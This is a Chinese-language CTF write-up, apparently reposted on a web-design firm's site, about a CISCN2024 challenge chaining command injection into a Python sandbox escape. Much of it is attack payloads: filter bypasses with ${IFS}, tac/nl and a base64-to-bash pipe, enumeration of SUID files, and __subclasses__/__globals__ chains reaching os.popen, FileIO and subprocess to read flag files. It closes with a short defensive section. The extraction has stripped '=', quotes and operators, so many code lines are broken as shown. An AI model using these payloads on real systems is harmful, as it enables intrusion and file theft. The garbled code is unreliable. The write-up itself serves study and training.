尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

从命令注入到Python沙箱逃逸:Web安全攻防实战解析

从命令注入到Python沙箱逃逸:Web安全攻防实战解析 1. 项目概述一次典型的Web攻防实战复盘最近刚结束的CISCN2024国赛Web赛道的题目一如既往地充满了挑战与巧思。我花了不少时间复盘其中一道典型的综合题它完美串联了从基础命令执行到高级沙箱逃逸的完整攻击链非常值得拿出来和大家深入聊聊。这道题不是简单的“漏洞利用”更像是一场与出题人精心设计的防御机制的“攻防博弈”。对于想深入理解现代Web安全攻防尤其是如何突破层层限制拿到最终权限的朋友来说这次复盘能提供不少实战思路。简单来说题目模拟了一个存在命令注入漏洞的Web应用但当你尝试执行命令时会发现身处一个被严格限制的“沙箱”环境中。你的目标就是从这个“牢笼”里逃逸出来读取到服务器上的关键文件也就是flag。整个过程涉及对漏洞点的精准定位、对过滤规则的绕过、对受限环境的探测以及最终利用系统或语言特性实现逃逸。下面我就结合我的解题过程把每个环节的思考、尝试和最终方案拆解清楚。2. 初探漏洞发现与基础命令执行拿到题目第一步永远是信息收集。访问目标Web服务通常是一个简单的功能页面比如一个表单让你提交某个参数进行处理。2.1 漏洞点定位与初步测试在本次复盘的场景中经过对页面参数如cmd、exec、host等的模糊测试发现某个参数假设为command在提交后其内容似乎被直接拼接到了系统命令中执行并返回了结果。这是典型的命令注入Command Injection漏洞迹象。一个最简单的测试就是使用分隔符。在Linux bash环境下常用的命令分隔符有分号;、管道符|、反引号、$()以及逻辑运算符、||。我首先尝试了经典的;提交commandwhoami 返回www-data 提交commandwhoami;ls 返回www-data index.php看到ls命令的结果被返回证实了命令注入漏洞的存在并且当前Web服务运行在www-data用户权限下。这是一个很好的开始但真正的挑战才刚刚开始。2.2 遭遇初步过滤与绕过直接执行ls -la查看目录详情时发现返回异常。尝试cat index.php也失败了。这说明后端存在某种过滤机制。常见的过滤包括黑名单关键字如catflagbash等、过滤空格、过滤特定符号等。探测过滤规则空格过滤尝试用${IFS}内部字段分隔符、$IFS$9、%09Tab的URL编码、、等代替空格。commandls${IFS}-la关键字过滤尝试大小写变形、双写、插入特殊字符、使用通配符或编码。如果cat被过滤可以尝试ca\t利用反斜杠c”at”或c’at’利用引号c??或c*如果当前目录只有一个c开头的文件且长度合适使用其他命令替代more,less,head,tail,nl,tac,od,xxd等。使用/bin/cat的绝对路径。在我的测试中发现cat、flag、/、空格都被过滤了。这迫使我们采用更迂回的方式。我的绕过方案空格使用${IFS}替代。cat命令使用tac反向输出文件或nl带行号输出替代。对于路径中的/可以使用${HOME:0:1}提取HOME环境变量第一个字符即/或者使用cd命令切换目录来避免直接使用/。例如要读取/flag文件commandnl${IFS}${HOME:0:1}flag或者commandcd${IFS}/nl${IFS}flag通过这种方式我们成功读取到了第一个可能是“提示”或者“假flag”的文件内容。但题目显然不会这么简单真正的flag往往在更受限制的环境里。3. 深入受限环境分析与信息收集当我们尝试执行一些更复杂的命令如python3 -c “import os; print(os.listdir(‘.’))”时可能会收到错误或者发现很多常用的工具如pythonperlncwget都不存在。这强烈暗示我们处在一个“沙箱”或“受限的shell环境”中。3.1 环境探测技巧在受限环境下全面了解自身处境是逃逸的前提。以下是我通常会执行的探测命令已考虑过滤绕过当前用户和环境变量commandwhoamienv commandecho${IFS}$PATH查看PATH环境变量可能被重置为非常简单的路径比如只有/bin和/usr/bin的部分子集。可用命令枚举commandls${IFS}/binls${IFS}/usr/bin或者使用echo *配合for循环如果for可用来列出$PATH中的所有命令。一个更巧妙的方法是使用compgen -c如果bash完整但通常不可用。我会手动检查一些关键命令是否存在shbashdashpythonpython3perlphpgccawksedfindtarcurlwgetncsocat。文件系统权限检查commandfind${IFS}/${IFS}-type${IFS}f${IFS}-perm${IFS}-us${IFS}2/dev/null查找SUID文件这是重要的权限提升突破口。commandls${IFS}-la${IFS}/tmp${IFS}/proc/self/cwd/查看临时目录和当前进程工作目录有时会有意外发现。进程和网络信息commandps${IFS}aux commandifconfig${IFS}||ip${IFS}a commandnetstat${IFS}-antp了解服务器内部情况或许有内部服务可以攻击。3.2 识别沙箱类型根据探测结果我们可以判断沙箱类型自定义二进制沙箱/bin下可能有一个奇怪的二进制文件或者sh被链接到一个自定义的受限shell。执行echo $SHELL和ls -l /bin/sh可以看。语言沙箱如popen过滤Web应用可能通过popen()或exec()系列函数执行命令但自己实现了一套过滤逻辑。这种情况下我们可能仍然拥有相对完整的系统命令但被黑名单严格限制。容器环境检查/.dockerenv文件或/proc/1/cgroup内容。在容器内逃逸思路又有所不同。禁用系统调用的沙箱通过seccomp等机制限制执行某些系统调用如execveforkconnect会直接失败。这通常更难需要找到沙箱未过滤的调用。在本次题目中探测后发现python3命令存在但import os; os.system(‘ls’)执行失败。__import__(‘os’).system(‘ls’)也失败。常见的文件读写函数如open()可能也被拦截或重定向。这指向了一个Python沙箱它可能通过修改__builtins__、移除危险模块如ossubprocesssys的部分功能或使用ast/restrictedpython等方式来限制代码执行能力。4. 突破Python沙箱逃逸的多种姿势确认是Python沙箱后我们的目标就是在这个受限的Python环境中找到一种方法来执行任意系统命令或读取任意文件。以下是几种经过实战检验的逃逸思路。4.1 寻找残留的“危险”模块或函数即使沙箱移除了os和subprocess也可能遗漏一些“边缘”模块或未彻底清理的引用。遍历所有已加载模块import sys print(list(sys.modules.keys()))检查是否有os、posix、pwd、resource、ctypes、cffi等模块残留。有时os被删但posixos的底层模块还在。利用__import__直接导入__import__(‘os’).system(‘ls’)如果os模块本身未被从系统中删除只是从当前命名空间移除这招可能有效。但高级沙箱会钩住__import__函数。利用sys.modules缓存恢复模块import sys sys.modules[‘os’] __import__(‘os’) import os os.system(‘ls’)如果os模块之前被其他代码导入过它可能还存在于sys.modules缓存中即使当前命名空间没有。4.2 利用Python的内省Introspection和对象链这是沙箱逃逸的核心技巧。Python中一切皆对象对象之间通过属性__dict__、__class__、__bases__、__subclasses__等相互关联。我们可以从任何一个已知的安全对象比如一个空字符串””一个空元组()甚至一个异常对象出发遍历到我们想要的危险类。经典逃逸链以获取os.system为例# 从一个简单的对象开始比如一个空元组 obj () # 获取它的类 obj_class obj.__class__ # 获取这个类的所有父类对于tuple是object obj_bases obj_class.__bases__ # 获取object类的所有子类这是关键 all_subclasses obj_bases[0].__subclasses__() # 遍历所有子类寻找我们需要的类比如_wrap_close在io模块或os._wrap_close for i, subclass in enumerate(all_subclasses): if subclass.__name__ ‘_wrap_close’: # 找到这个类后可以访问其__init__函数的__globals__ # __globals__包含了该函数定义时的全局命名空间字典 target_class subclass break # 从__init__.__globals__中获取os模块 os_module target_class.__init__.__globals__.get(‘os’) # 或者直接获取system函数 system_func target_class.__init__.__globals__.get(‘system’) if os_module: os_module.system(‘ls’) if system_func: system_func(‘ls’)为什么是_wrap_close因为在CPython中这个类io._IOBase的子类的__init__.__globals__通常会引用大量内置模块包括os和sys。这是CTF中非常常见的“逃逸起点”。实战中的简化写法[].__class__.__base__.__subclasses__()[140].__init__.__globals__[‘system’](‘ls’)这里的140是索引需要根据Python版本和环境进行爆破或推算。在受限环境下我们可以写个小循环来寻找包含os或system的类for i, cls in enumerate([].__class__.__base__.__subclasses__()): try: if ‘os’ in cls.__init__.__globals__: print(i, cls.__name__) except: pass4.3 利用文件操作相关类直接读写如果最终目标只是读文件不一定非要拿到os.system。一些用于文件操作的子类如class ‘_io.FileIO’本身就具备读写能力。# 找到FileIO类 for i, cls in enumerate([].__class__.__base__.__subclasses__()): if cls.__name__ ‘FileIO’: fileio_class cls break # 使用它打开并读取文件 f fileio_class(‘/flag’, ‘r’) print(f.read()) f.close()或者利用open函数可能作为某个类的__init__.__globals__中的内置函数存在。4.4 利用命令执行类除了os.systemsubprocess.Popen也是常见目标。寻找包含subprocess的类for i, cls in enumerate([].__class__.__base__.__subclasses__()): try: if ‘subprocess’ in cls.__init__.__globals__: subprocess_module cls.__init__.__globals__[‘subprocess’] subprocess_module.Popen(‘ls’, shellTrue, stdoutsubprocess.PIPE).communicate()[0] break except: pass4.5 针对题目环境的特定逃逸在本次CISCN2024的题目中经过枚举我发现某个特定索引的类例如class ‘os._wrap_close’的__init__.__globals__中os模块虽然存在但os.system被置为了None。然而os模块下的popen函数却未被清理最终Payload# 通过对象链找到包含os模块的类 target_class [].__class__.__base__.__subclasses__()[XXX] # XXX为实际索引 os_module target_class.__init__.__globals__[‘os’] # 使用os.popen执行命令并读取结果 result os_module.popen(‘cat /real_flag’).read() print(result)这里之所以能用cat是因为我们已经在Python沙箱内部绕过了外层的Web应用命令过滤黑名单。沙箱可能只限制了Python层面的危险函数但对通过popen执行的命令内容未做二次过滤。5. 组合利用完成最终攻击链现在我们将所有步骤串联起来形成从Web入口到沙箱逃逸的完整攻击链Step 1: 发现注入点。通过参数测试发现command参数存在命令注入。Step 2: 绕过基础过滤。使用${IFS}代替空格使用tac或nl代替cat成功执行ls等基础命令发现一个提示文件。Step 3: 探测沙箱。尝试执行python3 -c “print(‘hello’)”成功但执行import os失败确认进入Python沙箱环境。Step 4: 枚举逃逸路径。在Web注入点构造Payload通过Python代码枚举可用的子类。由于Web接口通常只回显最后一行或有限输出需要将结果编码或分段提取。commandpython3${IFS}-c${IFS}“import${IFS}sys;l[].__class__.__base__.__subclasses__();[sys.stdout.write(str(i)‘ ’l[i].__name__‘\n’)${IFS}for${IFS}i${IFS}in${IFS}range(len(l))]”从输出中查找包含os、subprocess、_wrap_close、FileIO等关键字的类索引。Step 5: 实施逃逸。根据找到的索引构造读取/real_flag的最终Payload。注意最终的flag路径可能需要根据提示文件的内容来确定。commandpython3${IFS}-c${IFS}“c[].__class__.__base__.__subclasses__()[132].__init__.__globals__[‘os’].popen(‘cat${IFS}/real_flag’).read();print(c)”Step 6: 获取Flag。提交上述Payload在返回结果中得到最终的flag内容。6. 防御视角如何构建更安全的沙箱作为攻击者我们乐于突破沙箱但作为开发者我们应该思考如何构建更坚固的防线。从这道题可以反推出一些防御思路最小权限原则运行沙箱的进程用户权限应尽可能低如nobody并配置严格的chroot或文件系统命名空间限制其可访问的文件范围。多层次过滤不仅在Web输入层过滤在沙箱内部也应进行二次过滤和校验。例如即使通过os.popen执行命令也应使用白名单机制限制可执行的命令和参数。彻底清理执行环境使用sys.modules.clear()并只导入绝对必要的模块。删除或重写__builtins__.__import__、__builtins__.eval、__builtins__.exec等危险函数。利用ast模块对用户输入的代码进行静态分析和安全限制禁止访问__开头的魔术属性。使用成熟的沙箱方案如PyPy的sandbox、Google的grsecurity、或基于seccomp-bpf的系统调用过滤方案如pysandbox而非自己手动黑名单。日志与监控详细记录沙箱内尝试执行的所有命令和访问的系统资源便于事后审计和攻击发现。7. 实战心得与避坑指南复盘整个过程有几个关键点决定了成败也是新手容易踩坑的地方信息收集要系统化不要满足于找到一个注入点就猛打。先花时间摸清环境过滤了哪些字符哪些命令可用当前用户是谁有什么特殊文件或权限这就像打仗前的侦察信息越全方案越有效。善用编码和变形当直接Payload被过滤时考虑URL编码、Base64编码、十六进制编码、字符串反转、拼接等技巧。例如可以将命令cat /flag先Base64编码然后用bash解码执行echo${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d|bash。Python沙箱逃逸的起点选择().__class__.__bases__[0].__subclasses__()是万金油但有时object类可能被替换。备选起点包括””.__class__.__mro__[1].__subclasses__()通过字符串的父类object或者直接使用sys模块如果可用找到builtins模块。注意Payload的传输和回显在Web命令注入中回显可能有限制。对于长的输出如子类列表可以将其写入/tmp目录下的文件然后分次读取或者使用hex编码、xxd等工具将二进制输出转换为可打印字符。保持耐心多角度尝试沙箱逃逸往往需要多次尝试。一条链断了立刻换另一条。从文件读写、命令执行、网络外连等多个角度思考可能的突破点。例如如果完全无法执行命令能否利用FileIO将flag写入一个Web可访问的目录或者利用socket类如果存在建立反向连接这道题从简单的命令注入入手逐步深入到Python沙箱逃逸涵盖了Web安全中非常经典的攻防场景。理解并掌握其中的每一步不仅能帮助你在CTF比赛中得分更能让你在实际的渗透测试和安全评估中面对复杂的防御体系时拥有清晰的突破思路。安全攻防的本质就是一场永不停歇的博弈而深入理解每一层技术的原理正是我们在这场博弈中保持优势的关键。
返回列表